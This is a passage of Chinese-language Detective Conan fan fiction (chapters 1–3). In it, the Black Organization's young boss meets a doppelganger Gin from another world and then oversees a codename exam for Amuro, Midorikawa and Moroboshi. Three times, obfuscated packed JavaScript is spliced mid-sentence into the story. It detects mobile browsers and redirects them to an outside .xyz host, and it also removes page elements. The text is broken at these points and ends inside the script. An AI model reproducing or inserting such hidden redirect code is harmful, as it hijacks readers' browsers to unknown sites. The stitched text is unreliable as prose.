《Gin,你看起来怎么红红的?》 1. 第 1 章 昏黄的路灯明明暗暗。 亮——暗——亮——暗—— ‘啪’的一声,灯光灭了。 路灯下的那一小块空地被拢入黑暗之中。 就当有人以为它要永远这么沉寂下去时,路灯又突然苟延残喘般闪了两下,又重复起了之前的明明暗暗。 周而复始。 再次灭下来的路灯在羽生绫久赤红的瞳中一闪而过,他收回视线,朝着前方走去。 . 羽生绫久站定在黑色的前门,垂眸将钥匙找了出来,缓缓插入锁孔。 他眯起眼,短暂地思考了一下这间安全屋的门锁该往哪边开。 钥匙往逆时针轻轻一扭。 ‘咔哒’一声轻响,门开了。 他拔出钥匙,走进屋内反手关上了门。 . “……怎么样,琴酒?考虑一下吧。” 吧台对面的琴酒吸了口手中烟,又缓缓吐了出来。 烟雾缭绕而起,遮蔽住了琴酒脸上的神情,也掩盖住了他望过来的意味不明的视线。 似乎只过了一瞬,又似乎过了许久。 羽生绫久听到了琴酒的回答:“可以。” . 羽生绫久睁开眼,看见了白色的天花板。 他迟缓地感受到了腰部左侧传来的刺痛,微微阖眼,忍不住抬手捏了捏鼻梁。 ……怎么突然梦到找琴酒造反时的情景了。 那时候的自己似乎刚刚失忆,处境却恶劣的很。 顶着个组织BOSS养子的身份,在组织中却是一个查无此人的状态。 不仅如此,他那所谓的养父还对着他的肉-体虎视眈眈。 嗯,物理意义上的虎视眈眈。 那个老东西觉得自己的身体不好用了,想换一个年轻健康的身体。 至于被他盯上的倒霉鬼是谁,不用多说,就是羽生绫久这个所谓的养子。 当时羽生绫久其实可以试着逃离组织,摆脱那个老东西的窥视。 但他为什么要这么做呢? 这样还要整天提心吊胆,担心自己会不会被抓回去,不如换一种方法——一个一劳永逸的方法。 于是他直接忽略了逃离组织这个解决方法,把目光放到了自己的身份上。 如果组织BOSS不幸死亡,身为他养子的自己直接继位,这很合理,不是吗? 确定计划后,羽生绫久开始寻找自己的同伙。 最后人选却落到了一个羽生绫久一开始怎么也想不到的人头上。 毕竟在组织的传闻中,琴酒可是有着‘组织的鹰犬’这个大名鼎鼎的外号,对BOSS可是忠心耿耿。 先不论寻找的诡异过程,琴酒确实是个优秀的共犯。 羽生绫久成功了,而琴酒也信守承诺,帮他清理了那些发出异议的人。 现在看来,所谓‘组织的鹰犬’对组织也不怎么忠心呀。 . 羽生绫久捏了捏有些酸痛的肩膀,拿出手机看了眼时间。 二十一点三十五。 太阳早就已经不见踪影,窗外的天色已完全暗了下来。 羽生绫久翘起一条腿,手臂微微曲起撑着脑袋,手指有一搭没一搭地点着脸,心里默念琴酒今天的任务清单。 差不多也到了琴酒回来的时间了。 羽生绫久正这么想着,就听到了门口响起了钥匙开锁的声音。 他挑了挑眉,把腿放了下来。 坐在沙发上的羽生绫久看不到隔了一个拐角的玄关处的具体情形,只能靠着细碎的声音来进行猜测。 他没有出声,侧头盯着拐角处细细地听着玄关处传来的动静。 ‘咔哒’的声音——这是关上了门。 ‘吱呀’的细响——这是打开了鞋柜。 皮革与毛发摩擦的动静——这是某人摘下礼帽,梳理长发。 好了,现在差不多该进来了。 拐角处出现黑色风衣的一小块边角,又飞快的落了回去。 玄关处的一切突然归于沉寂。 羽生绫久等了几秒,却仍不见人进来,歪了歪头,有些疑惑地开口:“Gin?” ‘琴酒’终于走了出来。 羽生绫久的视线在黑洞洞的枪口上一掠而过,落到了‘琴酒’紧抿的唇角上。 他本想站起来象征性地迎接一下,但才刚随便动一下腰侧的伤口便痛的眼前阵阵发黑。 羽生绫久于是干脆就着稍微抬起身的姿势,卷起舌轻佻的对着拿枪对着他的琴酒吹了声口哨,笑眯眯地说道:“一个小惊喜 。” 说罢羽生绫久便放松了下来,懒洋洋地靠在了沙发上,等着似乎呆住的男朋友放下枪,过来迎接他这个‘惊喜’。 自从琴酒给了他这里的钥匙之后,他隔三差五就会不通知琴酒跑到这里来。 第一次来送惊喜时,还差点被以为家里进了贼的琴酒一枪崩掉。 不过由于羽生绫久对此乐此不疲,琴酒也算是逐渐习惯了家里突然长出个人,从直接拔枪变成了准备拔枪。 嗯,也许是麻木了也不一定。 羽生绫久看着黑洞洞的枪口,暂时没有理会心中一闪而过的疑惑,耐心地等着琴酒过来。 过了两三秒后他的耐心瞬间告罄,偏了偏头,带着几分不耐烦开口:“Gin? ” 这一声似乎让琴酒回了神,眼中有些许墨色划过。 男人动作总算有了变化,他把枪收了回去,干脆利落地单膝跪地,垂首问道: “Boss, 有何指示。” 这不是琴酒。 羽生绫久瞳孔微微一缩,手瞬间探向沙发与墙壁中的暗格,把藏在里面的枪抽了出来。 他握着冷冰冰的枪身,打量起半跪在地上‘琴酒’来。 样貌,身形,说话语气……还有刚刚拔枪的姿势,都和羽生绫久印象里的一模一样。 这要是个伪装者,那还真是够了解琴酒的。 但他要是真正的琴酒,对着自己怎么会是这样一副做派? 再确认一下。 羽生绫久拉开枪的保险,‘咔哒’的声音在死寂的客厅中盘旋。 他握着枪的手搁到了沙发上,枪口方向却不偏不倚的对准了半跪在地上的男人。 腰侧的伤口再次传来尖锐的痛意,让人脑中一嗡。 ……妈的,痛死了。 早知道就接那个任务了,老实坐在办公室里不好吗。 羽生绫久咬了咬牙,微微调整了一下坐姿,让自己腰侧伤口没那么难受后沉下了声音:“Gin,把你身上的那些东西弄干净。” ‘琴酒’身体稍稍一顿,然后马上就开始清理起自己身上的武器来。看见男人接下来的动作,羽生绫的心又往下沉了些。 ‘琴酒’的左手在腰侧一个常人来看稍显奇怪的位置摸出了把隐约反射出银光的匕首,放到了桌上,发出一声轻响。 ……就连在腰后藏刀的习惯都一模一样。 他垂首安静地站在原地,等待下一步的指令。 “到我这里来。”羽生绫久舌尖抵了抵上颚,开口道。 ‘琴酒’没有一丝犹豫,朝着这边一步步地走了过来,黑色的长靴与地板接触,却没有发出一点声响。 羽生绫久看着面前压下一片阴影的男人,冷不丁的开口:“弯腰。” 在男人弯下腰的瞬间,羽生绫久直接抬手,把‘琴酒’的脑袋压到了他的腿上。 察觉到‘琴酒’下意识的挣扎,羽生绫久按在他头上的手加了点力,而右手抬起了枪,将枪口调了个方向。 感受到威胁的猛兽暂时收敛起了爪牙。 伤口裂开了。 羽生绫久瞥了眼腰部晕染开的红色,没有去管它的意思,反而有一搭没一搭的拨弄起男人散落开的白色长发来。 手指绕着几缕白发摩挲了片刻,羽生绫久似是失了兴趣,指尖灵活地挑开长发,径直探向了被掩住的苍白皮肤。 ‘琴酒’的呼吸腾的粗重了一瞬。 羽生绫久感觉到指下越来越紧绷的肌肉,暗中啧了一声,没有再继续移动,懒洋洋的开口:“Gin,你跟了我多久了。” 这个问题本意是想转移‘琴酒’的注意力,让他别一副自己随时要把他吃了的样子,羽生绫久却半晌都没有听到男人的回答。 ? 羽生绫久扬了扬眉,有些惊奇。 不会连这种问题都回答不出吧。 他的手又缓慢地滑动了起来,指尖假装不经意般扫过男人后颈的一处皮肤。 ——摸到了一道疤痕。 羽生绫久的心彻底沉了下来。 藏在腰后的刀还能勉强说是巧合,但后颈处的疤痕都一模一样就不大可能是巧合了。 况且这道疤痕还是前不久刚添的。 这些到底是怎么回事? 纷乱的猜测在脑海里跳来跳去,连带着腰侧崩开的枪伤,让羽生绫久莫名有些晕眩。 他闭了闭眼,迅速把这阵晕眩压了下去,却正好听到了‘琴酒’姗姗来迟的回答:“BOSS,十四年了。” 十四年了? ‘自己’有这么老? 羽生绫久感到有些荒谬,手上稍稍一用力,迫使‘琴酒’顺着头发传来的力道抬起了头。 他的目光撞进那双熟悉而又陌生的碧色眼眸里,一字一顿地说道:“……都这么久了啊。” 羽生绫久定定的看了男人毫无波澜的脸几秒,确定了这个答案的真实性。 就算这不是自己熟悉的那个世界,按照面前这个‘琴酒’对自己的称呼,至少这个‘自己’的身份也是黑衣组织的首领, 羽生绫久松开了扯着‘琴酒’头发的手,稍稍拨弄了一下他面孔上垂落下的几缕白发,指尖顺着下颚一路划到了眼窝上,冷冷开口:“Gin,我很不满意你刚才的表现。” ‘琴酒’完全没有反驳的意思,稍稍垂首,银白的眼睫遮住了碧绿的眼眸,“我会去领罚的。” 羽生绫久看着他仍旧毫无波动的脸,冷笑了一声,放在眼窝上的手指使了点力,看到‘琴酒’不适地皱起了眉后才慢吞吞的撒开了手。 “行了,在你看来组织里最近怎么样?” 羽生绫久没有再抓着那个稍显荒谬的回答不放,转而不动声色的打听起了这个世界的组织情况。 “……或者,有谁不安分吗。” ‘琴酒’被眼睫遮住的碧绿色瞳孔微微一缩。 根据‘琴酒’一个字一个字往外蹦的回答,羽生绫谨慎的调整着自己的态度与提问,确保不会被暗中窥伺的猛兽发现端倪。 与琴酒对峙的时间漫长而又难熬,不知过了多久,腰部再次爆发的剧痛与不断加重的失血感提醒羽生绫久——自己必须要处理伤口了。 再不处理自己可能就要晕在这里了。 在这种什么都不清楚的情况下,晕在这里无疑是把自己置于死地,得找个办法脱身。 羽生绫久看着半跪在自己面前,微微垂眸的‘琴酒’,竟看出了几分诡异的温顺来。 ……温顺个鬼啊。 羽生绫久在心里默默冷笑一声,把自己对这张脸的那些乱七八糟的滤镜丢掉。 他微微压下腰,冷冰冰地开口:“抬头。” 等‘琴酒’看向他,羽生绫久原本没有表情的脸突然挂上了笑。 他弯起眸,轻柔地理了理被自己弄乱的白发,柔声说道:“我呢,本来是想交给你一个很重要的任务的。” “但是Gin的表现让我不怎么满意呢。”羽生绫久拨弄头发的手突然加重了力度,目光却落到了‘琴酒’背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899520|160063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后不知何处的虚空,一字一句地说道。 ‘琴酒’没有回答这句话。 当然,也不需要他回答。 羽生绫久收回不知落到何处的视线,将其放到了‘琴酒’的面孔上,脸上依旧挂着笑。 他松开了扯着‘琴酒’头发的手,慢吞吞地拂过面前男人的眼尾。 ‘琴酒’听到了BOSS似乎含着几分笑意的声音。 “我相信Gin能做的更好,对吧?” “是。” . 羽生绫久带着一把枪与偷偷薅下来的几根白发离开了房子。 他连着拐了几个转角,确定背后的视线终于消失后才松了口气。 羽生绫久拿出手机看了眼时间。 两点一十七。 已经很晚了,道旁的路灯闪着昏黄的光,路上几乎没有人,只有时不时呼啸而过的车辆,卷起不如白日燥热的晚风。 ……还不如在白天呢。 羽生绫久收回了视线,走进了一家二十四小时营业的便利店。 在挑完了绷带这些可以应急处理伤口的东西后,羽生绫久才想起一件事。 他带的钱可以在这边用吗? 算了,先试试看吧。 羽生绫久叹了口气,拿着东西走向了收银台。 大不了跟店员小姐扮个可怜,处理完伤口后去外面转一圈,相信总有不长眼的东西来打劫他,然后自己再把反打劫的钱拿回来还给店员小姐。 羽生绫久无耻地想。 ——万幸,钱可以用。 他松了口气,庆幸自己还没有沦落到打劫混混的地步。 羽生绫久潦草地处理了一下伤口,就近找了一个公园里的椅子坐下,思考着自己接下来该怎么办。 要不回自己家? 这个想法刚冒出来就被否定了,就以现在这个状态,要是撞上了另一个自己,那恐怕不会有什么好果子吃。 羽生绫久很清楚自己不是什么好人,设身处地来讲,要是某天突然有个和自己一模一样的人蹦出来,他恐怕会什么也不听,直接一枪崩了那个人。 羽生绫久可不想去赌自己会不会被一枪崩掉。 他的思绪莫名拐了个弯,跑到了‘琴酒’说的那些话上。 按照‘琴酒’的描述,组织的情况与自己记忆里的大差不差,只不过好像多了些自己不认识的代号成员…… 流浪汉拿着半瓶没有喝完的酒,跌跌撞撞地走进了公园,发现自己常睡的椅子上竟然坐了一个人。 他眯起眼,迷迷瞪瞪的打量起这个眼生的人。 坐在椅子上的男人看起来年纪不大,大约只有二十多岁,白衬衫的顶端解开了两颗扣子,领口微微敞开,而袖口被卷起至小臂处,露出苍白的皮肤。 有些散乱的黑色额发隐隐约约的挡住了眉眼,脸上的神色也被黑暗掩盖,只余利落流畅的下颚线与半边没有什么血色的唇角。 真是个怪人,这么热的天还穿衬衫。 流浪汉心中暗自嘀咕着,同时下了结论:这人看起来很好欺负。 涌上头的酒意让他忽视了男人衬衫上的血渍与隐约露出的肌肉线条,直接冲了上去。 一阵酒臭味飘来,打断了羽生绫久的思绪。 他慢腾腾地抬起了头,看到了穿的比较乱七八糟,长的也比较乱七八糟的中年男人。 这个中年男人打了个酒嗝,瞪着一双暴突出来的眼睛,挥舞着手中的酒瓶子,恶狠狠地说道:“小子,快滚开,这是我的位置!” 啊,有不长眼的家伙找上来了。 羽生绫久勾起了唇,脸上却毫无笑意。 他拿出了放在袋子里的枪。 经过了一番‘友好’交流,流浪汉看着男人冰冷的红瞳与指向自己的枪,打起了哆嗦。 “酒醒了吗?”羽生绫久歪了歪头,看着眼前脸色煞白的流浪汉问道。 “醒了……醒了!”流浪汉全身的酒意被晚风吹了个干净,甚至出了一身冷汗。 “很好。”羽生绫久一手握着枪,另一只手从烟盒中抽出根烟,放进了嘴里,却没有点燃,就这么叼着烟含含糊糊地开口:“那么,就麻烦先生配合一下,回答我几个问题了。” 现在是哪一年?现在的统治者是谁?最近发生了什么大事…… 都是一些常识性的问题,就算流浪汉偶尔卡壳说不出来,男人也只是瞥他一眼,挥挥手让他回答下一个问题。 羽生绫久听着流浪汉的回答,无意识地咬起了烟嘴。 这些东西也和原来世界的一模一样。 ……到底是怎么回事? 等到流浪汉回答完问题,站在原地不敢动时,羽生绫久眼皮都没抬一下,垂下了手中的枪,“滚吧。” 过了一会儿,流浪汉仍然没有动。 羽生绫久抬头看向不知道该不该动的流浪汉,带着几分烦躁开口:“怎么,还要我请你吗?” 流浪汉听了这句话,立马一溜烟跑走了。 羽生绫久捂着发疼的伤口,向后靠在了椅子上。 之前强压下来的倦意在此刻全部涌了上来,羽生绫久握着枪,带着警惕阖上了眼,打算休息一会儿。 不知过了多久,轻微的脚步声惊醒了他。 经过了短暂的休憩,羽生绫久的伤势不仅没有好转,反而恶化了。 一阵一阵晕眩感传来,羽生绫久甚至提不起力气看来人一眼,只觉得地面隐约开始扭曲,甚至旋转起来。 又是哪个不长眼的东西? 他握紧了手中的枪,有些烦躁地想。 一只黑色的靴子突然踏入他的视线。 还没等羽生绫久开口赶人,低哑的声音传入他的耳朵。 “怎么不回去?” 羽生绫久猛地抬头,撞进了一片碧绿的深潭中。 2. 第 2 章 羽生绫久定定地看了几秒,冷哼一声,将枪直接顶在了眼前人的腰侧。 琴酒没有管虚虚抵在自己腰侧,连保险都没开的枪,目光直接落到了羽生绫久腰侧晕出血色的伤口处,声音沉了下来:“伤口怎么回事。” 羽生绫久啧了一声,将枪口撇开。 他没有回答琴酒的问题,直接一头栽到了黑色风衣上,声音变得闷闷:“我昨晚可是差点被你弄死了。” 等了半晌,没等来琴酒的疑问,反而等来了只避开伤口把自己抱起来的手。 淡淡的烟草味裹了上来,被包围的羽生绫久迅速变得昏昏欲睡起来。 他抵抗着睡意,刚挣扎着开口:“不要……”忘了袋子,就听到了琴酒提起袋子的声音。 “睡吧。” 随着这一声低语,羽生绫久陷入了黑暗之中。 . 当羽生绫久醒来时,窗外的太阳已经越过了中央那条线,歪到了一边。 伤口已经被重新处理过,时不时传来凉意,带着点微微的刺痛感。 琴酒正双腿交叠坐在一旁的椅子上,手中把玩那只羽生绫久眼熟的枪。 苍白的而又骨节分明的手在枪身上游弋,手背上隐约浮现着青筋。 “是昨天任务受的伤?” 琴酒没有抬头,继续着手中动作,突然开口,虽是问句,语气却颇为笃定。 原本在盯着他侧脸放空思绪的羽生绫久终于回神,听出了琴酒笃定的语气,知道没有狡辩的余地,叹了口气举起手求饶,“我下回会小心的。” 琴酒伸手把枪搁到了一旁的柜子上,衣料摩擦间发出沙沙的声音。 他偏过头,面无表情的看向躺在床上的人。 羽生绫久硬是从他毫无波动的绿眸中看出了‘每次都是这么说’的意味。 羽生绫久:“……” 说来也奇怪,一旦被琴酒发现自己干了什么‘不妥当’的事,自己就会下意识的想狡辩。 明明他才是自己手下啊。 羽生绫久被盯的莫名有些心虚,直接转移了话题,“去看看沙发背后暗格的枪还在不在。” 琴酒眯了眯眼,没有提出疑问,直接起身去把暗格中的枪拿了回来。 ‘咔哒’一声,他把拿回来的枪放到了原来那把枪旁边。 羽生绫久确定沙发背后只有一个暗格,既然琴酒确确实实从那里拿了把枪回来,那自己那把枪到底是从哪里来的就不言而喻了。 没想到像他这种人还能碰上灵异事件啊…… “怎么样?”羽生绫久收回游移的思绪,突然开口。 琴酒看着这两把枪上一模一样的记号,微微皱起了眉,“……这是一把枪。” 意料之中。 羽生绫久叹了口气,觉得伤口又开始隐隐作痛。 他舌尖抵了抵上颚,幽幽开口:“Gin,坐到床上来。” 没过两秒,羽生绫久的手就触到了透着几分温热的布料。 他凭借自己过人的毅力,迅速把头抬了起来,搁到了琴酒的大腿上,还顺便调整了一下姿势。 做完了这一连串动作,羽生绫久感受着硬邦邦的触感,还抱怨了一句:“你腿好硬。” 话音刚落,他就感觉脑门被弹了一下,但原本紧绷到硌的自己脑袋痛的大腿肌肉也慢慢放松下来。 羽生绫久闭着眼,忍不住笑出了声。 . 羽生绫久就着这个姿势,大概给琴酒讲了讲昨晚发生的事。 说罢,羽生绫久调侃道:“怎么样,是不是觉得我在讲鬼故事?” 琴酒没有回答,看向了窗外快要掉到地平线之下的太阳。 “昨天是什么时候遇到那个人的?” 羽生绫久听到琴酒的问题,稍稍怔了一下,“大概……晚上九点多。” 得到回答的琴酒沉默了下来,垂眸思索着什么。 当然,琴酒大部分时候都是沉默的。 羽生绫久看着眼前轮廓利落分明的下颚线,思考着这几天要不要干脆旷工不去公司了。 思考了几秒钟他就愉快地做出了决定。 恰巧这时,琴酒也低下头与羽生绫久对视,“送你去酒店?” “那你呢?”羽生绫久挑了挑眉,大概清楚了琴酒的打算。 “来这里守着。” 听到了意料之中的回答,羽生绫久短暂地想象了一下两个琴酒面对面的场景,莫名其妙地打了个冷颤。 “行了,你也别去守着了,”羽生绫久手指卷起几缕落到耳边的白发,懒洋洋地说道:“随便找家酒店吧,房子这边用监控盯着。” 最后羽生绫久和琴酒还是找了家酒店住了进去。 然而接下来几天,羽生绫久都没有遇到什么‘奇怪的灵异事件’,两边房子在监控中也没有什么异样。 那一夜的‘琴酒’就像羽生绫久恍惚间出现的幻觉。 当然,羽生绫久能肯定那不是什么幻觉,也不是什么梦。 那天晚上他从‘琴酒’头上薅下来的头发的DNA检测结果都已经出来了,和琴酒一模一样。 羽生绫久瞥了眼一旁刚刚完成任务回来,身上硝烟味还没有散去的琴酒,心中暗自嘀咕:难不成琴酒还能辟邪? 这几天因为自己受伤,再加上之前那件怪事,琴酒大大减少了出任务的频率,晚上也一直守在酒店。 要不哪天晚上试着自己一个人独处? “伤怎么样了。” 低沉的声音唤回了羽生绫久跑远的思绪。 羽生绫久回神,撩开衣服看了眼已经结疤的伤口,回答道:“好的差不多了。” 在某次偶然事件中,他发现了自己这具身体的一个特性:无论受什么伤,自己的恢复速度比常人要快上好几倍。 羽生绫久伸了个懒腰,舒展了一下自己躺久了变得懒散的筋骨。 他托着下巴幽幽叹了口气,抱怨道:“先不管那事,我们要开始加班了。” 别问为什么羽生绫久都是组织首领了还不能直接给自己放假。 黑衣组织到了如今这种规模,自有一套运行机制,虽说羽生绫久有改变这套机制的权力,但他暂时还没有给自己找麻烦的想法。 身为首领的羽生绫久早就不是想干什么就能干什么了,他的一举一动都被无数人暗中盯着。 况且之前羽生绫久为了行动方便,给自己捏了个代号成员的身份,而首领身份对于普通代号成员一直都是保密的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899521|160063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过多亏了那老东西的警惕性,自己篡位的事只在上层的代号成员中引起了躁动。 在几位羽生绫久事先联系好的顶层代号成员的心照不宣的默认中,其他的一点异议很快就被自己和琴酒联手压下去了。 而那些压不下去的,早早就被清理掉了。 自己首领的身份不露面没关系,但‘白兰地’的代号成员身份必须要拿出去溜溜了。 ‘啪嗒’一声,没有沾染上一丝雾气的浴室门被推开了,琴酒穿着浴袍,顶着一头湿漉漉的白色长发走了出来。 羽生绫久眼睛一亮,从床上翻身坐起,朝着琴酒招了招手,“我来帮你擦头发。” 他也就这时候能毫不收敛的摸琴酒的头发了。 奇怪的癖好。 琴酒瞥了眼跪坐在床上,一脸期待的羽生绫久,直接扯了条毛巾往那边走去。 “待会儿还有任务?”羽生绫久擦着头发,顺口问道。 琴酒没有去管在自己头上乱摸的手,闭着眼懒洋洋的应了一声。 “你还真是……”羽生绫久感慨了一声琴酒的工作态度。 之前说琴酒这几天出任务的频率大大减少,但他做的任务也比正常时期喜欢摸鱼的羽生绫久多的多。 要是是正常时期的琴酒,他一天的任务量抵得过羽生绫久的七天。 羽生绫久又趁机摸了把琴酒顺滑的头发,突然有些好奇:“怎么这么热衷于出任务?” 这个问题却没能马上得到答案。 过了半晌,羽生绫久才听到回答。 琴酒半阖着眼,神色不明。 “……习惯了。” 习惯了? 这是什么意思。 羽生绫久有些困惑,却没有等到琴酒的下文。 . 等头发完全被擦干,羽生绫久把毛巾往旁边一丢,直接顺势窝进了正在翻看任务资料的琴酒的怀里。 琴酒拿着资料的手稍稍抬起,让羽生绫久方便钻进来。 羽生绫久打了个哈欠,给一缕垂到他脸上的白发织起小辫子来。 估摸着琴酒看完资料的时间,羽生绫久把织好的小辫子又拆开,还贴心地捋顺了微微卷起的头发。 他就着这个姿势开口:“最近有什么清闲点的任务让我偷偷懒吗?” 还没等琴酒回答,羽生绫久反应了一下自己刚刚说了什么话,忍不住笑出了声。 身为首领,却问下属有没有清闲的工作,确实有点不像话。 他看着已经把资料挪开,盯着自己的琴酒,笑眯眯地开口:“我这也是相信Gin呀。” 琴酒看了羽生绫久的脸两秒,又把那一摞资料拿了回来,直接堆到了这张笑眯眯的脸上。 . 折腾一番后,琴酒总算开了口:“有个新人的考核任务。” “考核任务?代号考核吗。”羽生绫久接过琴酒递来的资料,翻看起来。 诸星大,安室透,绿川景…… 光看纸面上这几人的履历,能力确实都很出众,甚至可以说是难得一见。 羽生绫久挑了挑眉,嘀咕了一句:“人才济济啊……” 他直接拍板,“那我就去看看这些组织的未来吧。” 3. 第 3 章 “别来无恙啊诸星先生。”安室透对带着一顶黑色针织帽,朝着这边走来的男人皮笑肉不笑的打了个招呼。 “没想到我会和安室先生成为搭档啊……还有绿川先生。”诸星大朝着一旁的绿川景点了点头。 背着吉他包的绿川景也对他稍稍一颔首。 安室透的视线与一旁的幼驯染隐秘的交接了一瞬,然后迅速错开,低头思考起这次任务来。 他前不久才发现自己的好友诸伏景光也潜入了组织,而这次代号任务直接把他们俩排在了一起,是巧合吗? 看来要更小心了啊…… 诸星大看着沉默不语的安室透与绿川景,主动挑起了话题,“你们听说过这次任务的考核官吗?” 安室透回了神,听到这话冷笑了一声,不软不硬的刺了诸星大一下,“有所耳闻,不过诸星先生,在这里打听考核官的你是想干什么呢?” 安室透对诸星大的态度算不上好,不喜欢他的为人处世是一方面,更大一部分原因是绿川景与诸星大都是狙击手定位,这人很可能对绿川景产生威胁。 诸星大像是根本没有听出安室透话里绵里藏针的意味,“我只是对这位大名鼎鼎的考核官很好奇而已,听说是位很有能力的前辈呢。” 据打听出来的情报来看,他们的这位考核官白兰地平时在组织中做任务可并不积极。 与之不符的是这人的地位却很高,似乎颇得组织首领重视。 这是否是一个向上的机会呢…… 几人各怀心思,一起朝着与考核官约定的地点走去。 等到了约定地点,安室透对着周围扫视了一圈,一眼就看到了靠在转角处的男人。 男人身量颇高,五官较常人显得更加立体,但清冽的眉眼与隐约带笑的唇角却弱化了五官带来的攻击性,微微上挑的眼尾旁还缀着颗红痣。 看清男人脸的一瞬间,安室透脚步一顿。 似乎是察觉到了他们的视线,原本阖着眼的男人睁开眼朝他们瞥来。 羽生绫久正靠在墙边思考待会儿下班后去吃点什么,突然察觉到不远处有人在看着他。 他抬头径直望向视线传来的方向,却已经迟了一步,三人表情都已毫无异样之感。 羽生绫久来了点兴趣,站直身打量起不远处的三人来。 他迅速把几人与资料上的成员对应了起来。 从左到右分别是冲矢昴,绿川景和安室透。 如果他没感觉错的话,之前是有两道视线落在了自己身上,并且持续的时间还不算短。 要知道这里的人流量可不少,羽生绫久也并不认为自己能亮眼到这么受关注的地步。 他们现在应该是不知道自己的身份的,那么他们所惊讶的只有…… 自己这张脸? 也许是羽生绫久打量的时间有点久,诸星大率先朝着这边走来,而安室透与绿川景紧随其后。 等三人走近,羽生绫久转而把注意力放到了诸星大身上,留了点余光观察后面两人的反应。 诸星大在羽生绫久面前站定,说出了约定好的古怪暗号,“今天天气很好。” 面前的男人没有回答这句暗号,反而盯着率先开口的诸星大的眼睛看了一会儿,随后勾起唇,意味不明地笑了笑,“你的眼睛长的不错。” 难道认错了,这不是白兰地? 诸星大为这有些莫名其妙的话怔了一下,然后迅速反应过来,“谢谢夸奖。” 啊,说话的时候又不是很像了。 羽生绫久迅速失去了那点微薄的兴趣,暗自叹了口气,回答了那句自己一拍脑袋想出来的暗号,“不适合上班。” 他原本就稀薄的上班欲望一降再降,决定早点完成任务下班。 当然,准确来说羽生绫久从来没有过上班欲望这种东西。 羽生绫久脸上挂着的笑容不变,直接剪去了相互介绍的流程,“我是你们的考核官白兰地,任务资料都看过了吧。” 诸星大原本想要说出口的话拐了个弯,“看过了。” 后面的安室透与绿川景也跟着点了点头。 “不错。”羽生绫久毫无诚意的夸了一句,“那就开始你们的任务吧。” 等了片刻,发现考核官没了下文的绿川景问道:“请问任务计划呢,是我们自己来定吗?” “任务计划?”羽生绫久嘴角勾起的弧度不变,摆了摆手,“没有那种东西,我只看最后的结果。” “放心,只要不给我添麻烦,你们的代号就是板上钉钉,不过……”他扫了眼正思考着什么的三人,“如果这种任务还要我来帮你们擦屁股,那还是早点滚回去再练几年吧。” . 羽生绫久坐在车上,翻看着考核任务的资料。 他之前对那几个新人说的话其实没有夸大,这个任务确实简单。 只是个单纯的杀人以及逼供任务。 目标是一个武器原料供货商,跟组织签好合同后扭头就贪了那批货,高价卖给了另一个组织。 而组织近日得到消息,这人将会出席一场宴会,与别人商谈货物的事。 而安室透他们的任务便是问出之前被贪掉的一批货物在哪里,然后将目标灭口。 上至目标的样貌举止特征,下至宴会的流程,资料把这些东西全部讲清了,这要是还完不成任务就说不过去了。 至于目标周围会不会有很多保镖?目标本人会不会对自己做什么遮掩? 这些情况是那三个人该考虑的,不是他要考虑的。 至少在羽生绫久看来,只要资料上对这三人的能力描述没有掺水,他们应付这些情况绰绰有余。 这任务不比那些要去保护某些脑子进了水,明知道有人要来杀自己还不听指挥,说三道四的蠢猪要好? 羽生绫久放下资料,拿起手机给琴酒发了条消息: . “哐当”一声,琴酒随手把刀一丢,给原本就溅满血迹的地面又添了几滴赤色。 他摘下了已经看不出原来颜色的手套,没有管面前血淋淋的人,转身准备离开。 走到紧闭的门口时,身后垂着头奄奄一息的人突然抬头,嘶声道:“琴酒,你会不得好死的。” 琴酒嗤笑了一声,握住门把的手没有停顿,推开门径直走了出去。 门外守着的人等他走远后才抬头进了审讯室。 琴酒走出基地,打开车门坐了进去。 他点燃了根烟,看着面前的景象被缭绕而上的烟雾扭曲,思考接下来的任务。 口袋里的手机突然震动了两声。 琴酒动作一顿,抽出了口袋里的手机。 “今天看到了一双很漂亮的眼睛。” 琴酒看着这条稍显莫名其妙的消息,眯起了眼。 . “今天中午吃什么?” 羽生绫久又发完了一条消息,那边才姗姗来迟的回了个“?” 很快,那边又发了个“还没决定。” 很明显,这是回答那个“吃什么”的问题。 羽生绫久心情变得愉快起来,指尖有一下没一下点着脸,直接忽略了那个“?”回了消息:“我想吃上次那家的拉面,帮我试试另一个味道,记得吃完后记得告诉我怎么样。” 还没等到回信,手机上端突然跃进了一条消息。 ——‘BOSS,发现诚谷城的踪迹了。’ ……诚谷城? 羽生绫久稍稍回忆了一下,记起了这号人。 此人隶属于组织的研究部的高层人物,手上握的情报比较重要,目前因为叛逃而被剥夺了代号。 话说他是为什么叛逃来着…… 羽生绫久回忆了一会儿,实在记不起来后作罢。 也没必要知道原因,反正这人也快死了。 此时关于诚谷城出现地点的情报已经出现在了组织内网上,估计很快就会有人赶去。 等等。 羽生绫久又瞄了两眼诚谷城的出现地点,越看越眼熟。 这不就是代号考核任务的执行地点吗? 思考了两秒,羽生绫久迅速的决定自己去执行诚谷城的这个任务。 这样之后几天就不用挑其他任务去做了,还可以顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 